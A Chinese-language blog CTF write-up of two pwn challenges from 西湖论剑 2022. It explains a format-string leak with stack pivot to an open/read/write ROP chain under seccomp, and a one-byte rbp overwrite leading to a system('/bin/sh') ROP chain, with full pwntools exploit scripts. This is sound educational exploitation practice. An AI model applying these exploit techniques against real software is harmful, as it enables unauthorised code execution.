西湖论剑2022 pwn 部分wp

T1d 2023-2-3 1,048 2/3

这一篇主要是记录一下小白第一次参加大一点比赛,比赛过程中做出来一道,还有一道是比赛的时候没想明白,赛后复现出来的,虽然只做了两道题,还是浅浅开个香槟庆祝一下🤗🤗😍😍

西湖论剑·2022初赛-Message Board

题目写的简单,先检查一下开了哪些保护:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

把程序拖进ida:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char *v3; // rax
  char buf[8]; // [rsp+0h] [rbp-C0h] BYREF
  char dest[8]; // [rsp+8h] [rbp-B8h] BYREF
  char v7[176]; // [rsp+10h] [rbp-B0h] BYREF

  sub_401236();
  if ( !dword_4040AC )
  {
    strcpy(dest, "Hello, ");
    puts("Welcome to DASCTF message board, please leave your name:");
    read(0, buf, 8uLL);
    dword_4040AC = 1;
  }
  v3 = strcat(dest, buf);
  printf(v3);
  puts("Now, please say something to DASCTF:");
  read(0, v7, 0xC0uLL);
  puts("Posted Successfully~");
  return 0LL;
}

printf(v3)这里很明显有一个格式化字符串漏洞,read(0, v7, 0xC0uLL)这里应该就是一个栈溢出,但是这里只能溢出16个字节,大概率不够,所以思路很简单,就是利用格式化字符串漏洞泄露栈地址,然后进行栈迁移。

# 泄漏栈地址
payload = b'%20$p'
p.send(payload)
p.recvuntil(b'0x')
stack_addr = int(p.recv(12), 16) - 0xd0
print(hex(stack_addr))
# 泄漏libc地址
pop_rdi = 0x0000000000401413
leave_ret = 0x00000000004012e1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x04012E3

payload = p64(1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(176, b'a') + p64(stack_addr) + p64(leave_ret)
p.recv()
p.send(payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))
print(hex(puts_addr))

按理说,之后构造rop链,再次栈迁移套模板即可,但是这里失败了,我们回过头再看,发现这个sub_401236()函数:

__int64 sub_401236()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x1Eu);
  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  return seccomp_load(v1);
}

这个seccomp是不是很眼熟,前面我们提到过沙盒机制,那这个题多半也是开了沙盒,把execve禁用了,来查看一下:

 line CODE JT JF K
=================================
0000:      0x20      0x00      0x00     0x00000004                                        A = arch
0001:       0x15      0x00      0x05      0xc000003e                                         if (A != ARCH_X86_64) goto 0007
0002:      0x20      0x00      0x00     0x00000000                                        A = sys_number
0003:      0x35      0x00      0x01      0x40000000                                        if (A < 0x40000000) goto 0005
0004:      0x15       0x00      0x02     0xffffffff                                                 if (A != 0xffffffff) goto 0007
0005:      0x15       0x01      0x00      0x0000003b                                        if (A == execve) goto 0007
0006:      0x06      0x00     0x00      0x7fff0000                                            return ALLOW
0007:      0x06      0x00      0x00     0x00000000                                         return KILL

果然,我们不能使用execve来提权了,那我们只能试试使用orw来获取flag:

payload = b'flag\00aaa' \
          + p64(pop_rdi) + p64(stack_addr - 0x90) + p64(pop_rsi) + p64(0) + p64(open_addr) \
          + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack_addr - 0x90) + p64(pop_rdx) + p64(0x100) + p64(read_addr) \
          + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(stack_addr - 0x90) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(176, b'a') + p64(stack_addr - 0x90) + p64(leave_ret)

这里注意因为栈迁移之后栈地址也发生了变化,所以我们需要修改栈地址,但是由于程序有一个全局变量dword_4040AC限制我们只能泄露一次栈地址,所以第二次的栈地址只能手动调试计算栈地址偏移来获得。

完整的exp和题目链接:

Message Board

官方复现环境:

CTF-PWN-Message Board

tcp.cloud.dasctf.com:21495

from pwn import *

context(os='linux', arch='amd64')
# p = process('./pwn')
p = remote('tcp.cloud.dasctf.com', 21495)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
# 泄漏栈地址
payload = b'%20$p'
p.send(payload)
p.recvuntil(b'0x')
stack_addr = int(p.recv(12), 16) - 0xd0
print(hex(stack_addr))
# 泄漏libc地址
pop_rdi = 0x0000000000401413
leave_ret = 0x00000000004012e1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x04012E3

payload = p64(1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(176, b'a') + p64(stack_addr) + p64(leave_ret)
p.recv()
p.send(payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))
print(hex(puts_addr))

p.recvuntil(b'Now, please say something to DASCTF:')
base_addr = puts_addr - libc.symbols['puts']
open_addr = base_addr + libc.symbols['open']
read_addr = base_addr + libc.symbols['read']
write_addr = base_addr + libc.symbols['write']
pop_rsi = base_addr + 0x000000000002601f
pop_rdx = base_addr + 0x0000000000142c92
"""
orw
open, read, write
open('./flag')
read(0,buf,0x10)
write(1,buf,0x10)
"""
payload = b'flag\00aaa' \
          + p64(pop_rdi) + p64(stack_addr - 0x90) + p64(pop_rsi) + p64(0) + p64(open_addr) \
          + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack_addr - 0x90) + p64(pop_rdx) + p64(0x100) + p64(read_addr) \
          + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(stack_addr - 0x90) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(176, b'a') + p64(stack_addr - 0x90) + p64(leave_ret)

p.send(payload)
p.recvuntil(b'Posted Successfully~\n')
print(p.recvuntil(b'}'))
p.recv()
p.interactive()

西湖论剑·2022初赛-babycalc

这个题标注的是中等,说明有些难度,比赛过程中我也确实有几个地方没太搞明白,第二天重新复现才把这道题做出来。一样的先查看保护:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

再把程序拖进ida查看:

int sub_400789()
{
  char v0; // al
  char buf[208]; // [rsp+0h] [rbp-100h] BYREF
  unsigned __int8 v3; // [rsp+D0h] [rbp-30h]
  unsigned __int8 v4; // [rsp+D1h] [rbp-2Fh]
  unsigned __int8 v5; // [rsp+D2h] [rbp-2Eh]
  unsigned __int8 v6; // [rsp+D3h] [rbp-2Dh]
  unsigned __int8 v7; // [rsp+D4h] [rbp-2Ch]
  unsigned __int8 v8; // [rsp+D5h] [rbp-2Bh]
  unsigned __int8 v9; // [rsp+D6h] [rbp-2Ah]
  unsigned __int8 v10; // [rsp+D7h] [rbp-29h]
  unsigned __int8 v11; // [rsp+D8h] [rbp-28h]
  unsigned __int8 v12; // [rsp+D9h] [rbp-27h]
  unsigned __int8 v13; // [rsp+DAh] [rbp-26h]
  unsigned __int8 v14; // [rsp+DBh] [rbp-25h]
  unsigned __int8 v15; // [rsp+DCh] [rbp-24h]
  unsigned __int8 v16; // [rsp+DDh] [rbp-23h]
  unsigned __int8 v17; // [rsp+DEh] [rbp-22h]
  unsigned __int8 v18; // [rsp+DFh] [rbp-21h]
  int i; // [rsp+FCh] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    printf("number-%d:", (unsigned int)(i + 1));
    buf[(int)read(0, buf, 0x100uLL)] = 0;
    v0 = strtol(buf, 0LL, 10);
    *(&v3 + i) = v0;
  }
  if ( v5 * v4 * v3 - v6 != 36182
    || v3 != 19
    || v5 * 19 * v4 + v6 != 36322
    || (v13 + v3 - v8) * v16 != 32835
    || (v4 * v3 - v5) * v6 != 44170
    || (v5 + v4 * v3) * v6 != 51590
    || v9 * v8 * v7 - v10 != 61549
    || v10 * v15 + v4 + v18 != 19037
    || v9 * v8 * v7 + v10 != 61871
    || (v8 * v7 - v9) * v10 != 581693
    || v11 != 50
    || (v9 + v8 * v7) * v10 != 587167
    || v13 * v12 * v11 - v14 != 1388499
    || v13 * v12 * v11 + v14 != 1388701
    || (v12 * v11 - v13) * v14 != 640138
    || (v11 * v5 - v16) * v12 != 321081
    || (v13 + v12 * v11) * v14 != 682962
    || v17 * v16 * v15 - v18 != 563565
    || v17 * v16 * v15 + v18 != 563571
    || v14 != 101
    || (v16 * v15 - v17) * v18 != 70374
    || (v17 + v16 * v15) * v18 != 70518 )
  {
    exit(0);
  }
  return puts("good done");
}

程序逻辑很简单,读入16个数,每次读入的结果存入栈上对应的位置,最后对16个数的做计算,不满足任意一个条件都会使程序结束,所以我们的思路是,直接填充16个数所在的位置,就可以了。这16个数,我直接用笨办法手算了,没有什么技术含量。

接着我们来寻找程序漏洞,我们发现buf大小是0x100,而read可以读入的部分也是0x100,那就不是一般的栈溢出了,因为我们没办法覆盖到返回地址。这时我发现这一步buf[(int)read(0, buf, 0x100uLL)] = 0当我将buf填满后它会把下一位覆盖为0,而填满0x100后的下一位就是rbp的最后一位,而我们用gdb调试可以发现,如果将rbp最后一个字节覆盖为0那么我们可以得到一个在栈上的返回地址,很显然想到栈迁移,可是这里我们该如何将rbp的下一位修改成leave_ret呢?

再次查看栈结构:

-0000000000000100            buf                      db 208 dup(?)
-0000000000000030            var_30              db ?
-000000000000002F            var_2F               db ?
-000000000000002E            var_2E               db ?
-000000000000002D            var_2D              db ?
-000000000000002C            var_2C             db ?
-000000000000002B            var_2B             db ?
-000000000000002A            var_2A             db ?
-0000000000000029            var_29             db ?
-0000000000000028            var_28             db ?
-0000000000000027            var_27             db ?
-0000000000000026            var_26             db ?
-0000000000000025            var_25             db ?
-0000000000000024            var_24             db ?
-0000000000000023            var_23             db ?
-0000000000000022            var_22             db ?
-0000000000000021            var_21               db ?
-0000000000000020                                       db ? ; undefined
-000000000000001F                                      db ? ; undefined
-000000000000001E                                     db ? ; undefined
-000000000000001D                                    db ? ; undefined
-000000000000001C                                      db ? ; undefined
-000000000000001B                                    db ? ; undefined
-000000000000001A                                      db ? ; undefined
-0000000000000019                                      db ? ; undefined
-0000000000000018                                      db ? ; undefined
-0000000000000017                                      db ? ; undefined
-0000000000000016                                      db ? ; undefined
-0000000000000015                                      db ? ; undefined
-0000000000000014                                    db ? ; undefined
-0000000000000013                                     db ? ; undefined
-0000000000000012                                      db ? ; undefined
-0000000000000011                                    db ? ; undefined
-0000000000000010                                    db ? ; undefined
-000000000000000F                                      db ? ; undefined
-000000000000000E                                    db ? ; undefined
-000000000000000D                                    db ? ; undefined
-000000000000000C                                    db ? ; undefined
-000000000000000B                                      db ? ; undefined
-000000000000000A                                    db ? ; undefined
-0000000000000009                                      db ? ; undefined
-0000000000000008                                    db ? ; undefined
-0000000000000007                                      db ? ; undefined
-0000000000000006                                    db ? ; undefined
-0000000000000005                                    db ? ; undefined
-0000000000000004            var_4              dd ?
+0000000000000000 s                                  db 8 dup(?)
+0000000000000008 r                                 db 8 dup(?)

显然,前面的var_21到var_30就是16位数字的位置,而最后这个var_4就是i的位置,而这个位置恰好就在我们的可控范围内,因此,结合*(&v3 + i) = v0我们可以通过修改i修改任何一个位置,但是一次只能修改一个字节。我们考虑修改rbp的下一位为leave_ret,我们使用ropper找到:

0x0000000000400bb7: leave; ret;

但是这里原本是0x400c3c,所以我们需要修改两个字节,也就是修改两次,但是我们尝试发现修改一个字节后再下一次开始这个值又会变回0x400c3c,也就是说我们只有一次机会修改它,那我们在ida里面手动寻找0x400c开头的leave_ret:

.text:0000000000400C18          leave
.text:0000000000400C19          retn

所以很明显,我们可以利用它来实现泄露libc地址:

    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    ret = 0x00000000004005b9
    main_addr = 0x400650
    pop_rdi = 0x0000000000400ca3

    payload = b'24' + b'a' * 38 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    payload = payload + 17 * p64(0xaaaa) + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'c' * 0x1c + p32(0x38)
    p.recv()
    p.send(payload)
    try:
        puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))
        print(hex(puts_addr))
    except:
        return 0

这里因为不是每一次都能成功,所以为了减少工作量我们加了一个try-except。

重回之后调试发现每一次我们新的栈都是30结尾的,当30被覆盖为00后,我们只有08,10,18,20,28来填充rop,并且08刚好还是16位数字的后8位且28位我们需要用来修改i值,因此这样不太可行,所以我们把第一次填入的rop链前面加入大量ret使得我们可以改变新栈的地址后两位:

    payload = b'24' + b'a' * 46 + 12 * p64(ret) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    payload = payload + 4 * p64(0xaaaa) + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'c' * 0x1c + p32(0x38)

同样的方法我们构造第二段payload:

    payload = b'24aaaaaa' + p64(ret) * 21 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
    payload = payload.ljust(208, b'b') + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'a' * 0x1c + p32(0x38)

于是我们成功提权。

下面是完整exp和题目链接:

babycalc

官方复现环境:

CTF-PWN-babycalc

tcp.cloud.dasctf.com:28504

from pwn import *

def run():
    p = process('./babycalc')
    # p = remote('tcp.cloud.dasctf.com', 28504)
    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF('./babycalc')

    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    ret = 0x00000000004005b9
    main_addr = 0x400650
    pop_rdi = 0x0000000000400ca3

    payload = b'24' + b'a' * 46 + 12 * p64(ret) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    payload = payload + 4 * p64(0xaaaa) + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'c' * 0x1c + p32(0x38)
    p.recv()
    p.send(payload)
    try:
        puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))
        print(hex(puts_addr))
    except:
        return 0

    base_addr = puts_addr - 0x06f6a0
    system_addr = base_addr + 0x0453a0
    bin_sh_addr = base_addr + 0x18ce57
    payload = b'24aaaaaa' + p64(ret) * 21 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
    payload = payload.ljust(208, b'b') + p64(0xa111423746352413) + p64(0x0318c77665d48332) + b'a' * 0x1c + p32(0x38)
    p.send(payload)
    sleep(2)
    p.interactive()


while True:
    run()

 

- THE END -

T1d

2月03日17:44

最后修改:2023年2月3日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论